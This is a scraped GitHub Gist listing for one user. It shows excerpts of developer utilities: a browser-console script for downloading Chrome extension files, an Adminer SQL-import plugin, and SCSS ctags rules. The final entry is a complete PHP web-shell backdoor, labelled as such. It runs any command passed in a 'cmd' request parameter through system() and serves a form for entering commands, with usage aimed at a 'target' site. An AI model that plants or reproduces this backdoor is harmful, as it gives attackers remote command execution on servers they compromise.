Skip to content

Instantly share code, notes, and snippets.

@Roy-Orbison
Roy-Orbison / dl_ext_webstore_console.js
Last active May 1, 2022 04:56 — forked from tim-hub/dl_ext_webstore_console.js
Download the CRX file of a Chrome extension for inspection or manual installation.
window.location.href = (function() {
var browser = (function() {
var ua = navigator.userAgent,
tem,
M = ua.match(/(opera|chrome|safari|firefox|msie|trident(?=\/))\/?\s*(\d+)/i) || [];
if (/trident/i.test(M[1])) {
tem = /\brv[ :]+(\d+)/g.exec(ua) || [];
return {
name: 'IE',
version: (tem[1] || '')
@Roy-Orbison
Roy-Orbison / import-from-dir.php
Last active May 21, 2023 09:08 — forked from joshcangit/folder-import.php
Import any .sql[.gz] file, from a specifiable directory, rather than only the default adminer.sql[.gz], with Adminer.
<?php
/**
* Import SQL files from a directory
*
* @author joshcangit, https://github.com/joshcangit
* @author Roy-Orbison, https://github.com/Roy-Orbison
*/
class AdminerImportFromDir {
@Roy-Orbison
Roy-Orbison / scss.ctags
Last active June 22, 2022 01:26 — forked from dreki/scss-rules-for-ctags
SCSS rules for universal ctags
# Copyright 2019 Roy-Orbison
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in
<?php # Simple PHP Backdoor adapted from DK (One-Liner Version)
# Usage: https://target.com/unique-name-of-your-backdoor.php
<?php if (isset($_REQUEST['cmd'])) { echo '<style>html{height:100%}body{box-sizing:border-box;min-height:100%;margin:0;padding:1ex;background:#000;color:#eee}</style><pre><code>'; ob_start('htmlspecialchars'); system($_REQUEST['cmd']); echo ob_get_clean(), '</code></pre>'; exit; }
echo '<title>$</title><form action="', htmlspecialchars($_SERVER['REQUEST_URI']), '" method=post target=cmd_result><input name=cmd size=80> <input type=submit value=execute></form><hr><iframe name=cmd_result style="width:80em;height:30em">ready</iframe>';